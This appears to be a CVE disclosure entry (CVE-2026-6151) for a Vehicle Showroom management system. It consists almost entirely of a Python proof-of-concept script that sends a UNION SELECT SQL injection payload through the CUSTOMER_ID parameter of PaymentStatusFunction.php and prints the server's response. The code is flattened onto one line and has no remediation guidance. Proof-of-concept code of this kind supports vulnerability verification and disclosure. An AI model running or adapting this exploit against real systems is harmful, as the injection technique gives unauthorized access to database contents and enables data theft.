CVE-2026-6151: Vehicle Showroom管理系统SQL注入漏洞

import requests def check_sqli(target_url): # Target endpoint vulnerable to SQL Injection full_url = f"{target_url}/util/PaymentStatusFunction.php" # Payload to test SQL Injection (e.g., extracting database version) # Using a simple logical check or union select based injection payload = "1' UNION SELECT NULL, version(), NULL-- -" params = { "CUSTOMER_ID": payload } try: response = requests.get(full_url, params=params, timeout=10) if response.status_code == 200: # Analyze response to confirm vulnerability print(f"[+] Request sent to {full_url}") print(f"[+] Payload: CUSTOMER_ID={payload}") print(f"[+] Response Length: {len(response.text)}") print(f"[+] Response Content:\n{response.text}") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target IP or domain target = "http://localhost/showroom" check_sqli(target)